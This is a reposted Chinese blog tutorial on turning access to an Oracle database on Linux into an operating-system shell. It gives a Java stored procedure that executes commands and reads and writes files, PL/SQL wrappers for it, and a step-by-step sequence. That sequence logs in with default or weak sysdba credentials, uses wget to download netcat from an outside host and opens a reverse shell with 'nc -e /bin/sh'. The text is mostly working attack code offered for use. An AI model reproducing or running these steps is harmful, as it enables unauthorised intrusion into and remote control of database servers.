1. 程式人生 > 其它 >[轉]Linux下Oracle獲取shell

[轉]Linux下Oracle獲取shell

很多時候對於開放1521埠的Windows下Oracle資料庫伺服器,因為大多存在預設低許可權使用者dbsnmp,或者人品爆發高許可權的使用者 (sysdba)是預設密碼或弱口令,由此可以通過Oracle的一些提權漏洞獲取Oracle的最高許可權,直至得到系統的SYSTEM許可權。

而 對於Linux下的Oracle資料庫入侵,因為Linux下一般Oracle資料庫都是以Oracle的獨立使用者在跑,所以無法獲取到root許可權。當 然很多WEB和資料庫在同一伺服器上的時候,可以匯出WEBSHELL到WEB目錄來獲取許可權。然而大部分的資料庫都是獨立跑在一個伺服器上,以下用簡單 的方式獲取Oracle的shell,即採用nc反彈的shell的方式。

1、Oracle資料庫支援JAVA(如Windows下入侵一般)

2、通過Oracle客戶端sqlplus,以sysdba使用者登入(dbsnmp使用者可提權至sysdba)

3、執行以下程式碼:
CODE_1:

java
  1. createorreplaceandresolvejavasourcenamed"oraexec"as
  2. importjava.lang.*;
  3. importjava.io.*;
  4. publicclassoraexec
  5. {
  6. /*
  7. *Commandexecutionmodule
  8. */
  9. publicstaticvoidexecCommand(Stringcommand)throwsIOException
  10. {
  11. Runtime.getRuntime().exec(command);
  12. }
  13. /*
  14. *Filereadingmodule
  15. */
  16. publicstaticvoidreadFile(Stringfilename)throwsIOException
  17. {
  18. FileReaderf=newFileReader(filename);
  19. BufferedReaderfr=newBufferedReader(f);
  20. Stringtext=fr.readLine();
  21. while(text!=null){
  22. System.out.println(text);
  23. text
    =fr.readLine();
  24. }
  25. fr.close();
  26. }
  27. /*
  28. *Filewritingmodule
  29. */
  30. publicstaticvoidwriteFile(Stringfilename,Stringline)throwsIOException
  31. {
  32. FileWriterf=newFileWriter(filename,true);/*append*/
  33. BufferedWriterfw=newBufferedWriter(f);
  34. fw.write(line);
  35. fw.write("\n");
  36. fw.close();
  37. }
  38. }

============================================

CODE_2:

-- usage: exec javacmd('command');create or replace procedure javacmd(p_command varchar2) aslanguage javaname 'oraexec.execCommand(java.lang.String)';

===========================================

CODE_3:

-- usage: exec dbms_java.set_output(2000);-- set serveroutput on;-- exec javareadfile('/path/to/file');create or replace procedure javareadfile(p_filename in varchar2) aslanguage javaname 'oraexec.readFile(java.lang.String)';

============================================

CODE_4:

-- usage: exec javawritefile('/path/to/file', 'line to append');create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) aslanguage javaname 'oraexec.writeFile(java.lang.String, java.lang.String)';

4、

exec javawritefile('/tmp/getnc', 'wget http://www/nc -O /tmp/nc'); //寫入wget nc 命令到檔案getnc

exec dbms_java.set_output(2000); //設定javareadfile

set serveroutput on;

exec javareadfile('/tmp/getnc'); //讀取檔案檢視是否寫入成功

exec javacmd('/bin/sh /tmp/getnc'); //執行命令下載nc

exec javareadfile('/tmp/nc'); //檢視nc是否下載成功

exec javawritefile('/tmp/shell', '/tmp/ncIPport -e /bin/sh'); //寫入反彈命令

exec javareadfile('/tmp/shell'); //讀取檔案檢視是否寫入成功

exec javacmd('/bin/sh /tmp/shell'); //執行nc反彈shell,在本地nc監聽就能得到shell,如果不行,請確認防火牆


---------------------
作者:小寶哥哥
來源:CNBLOGS
原文:https://www.cnblogs.com/baogg/articles/1991108.html
版權宣告:本文為作者原創文章,轉載請附上博文連結!